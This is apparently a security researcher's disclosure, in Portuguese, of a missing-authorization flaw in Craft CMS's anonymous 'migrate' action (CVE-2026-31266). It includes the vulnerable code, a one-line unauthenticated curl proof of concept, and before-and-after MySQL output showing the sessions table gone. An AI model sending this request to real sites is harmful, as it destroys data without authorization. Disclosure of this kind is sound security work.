CVE-2026-31266 - Craft CMS Autorização Ausente

Informações do CVE

Conteúdo das Evidências

• screenshots/ - Demonstrações de Prova de Conceito

Vulnerabilidade

• Tipo: Autorização Ausente
• Impacto: Bypass de Autenticação
• Fornecedor: Craft CMS
• Status: CVE-2026-31266

Código Vulnerável

Arquivo: src/controllers/AppController.php

Linhas 65-68:

protected array|bool|int $allowAnonymous = [
    'migrate' => self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE,
];

Prova de Conceito

# Com allowAdminChanges=false
curl -X POST "http://target/actions/app/migrate"

Evidências

Antes do Ataque:

mysql> SELECT COUNT(*) FROM sessions;
+----------+
| COUNT(*) |
+----------+
|        0 |
+----------+

Depois do Ataque:

mysql> SELECT COUNT(*) FROM sessions;
ERROR 1146 (42S02): Table 'sessions' doesn't exist

Referências

• Repositório do Craft CMS
• Documentação de Segurança do Craft
• Entrada NVD

Contato

• Pesquisador de Segurança: 0xRIXET | Mohammed Al-shehri
• Twitter | X : @0xRIXET
• Email: [email protected]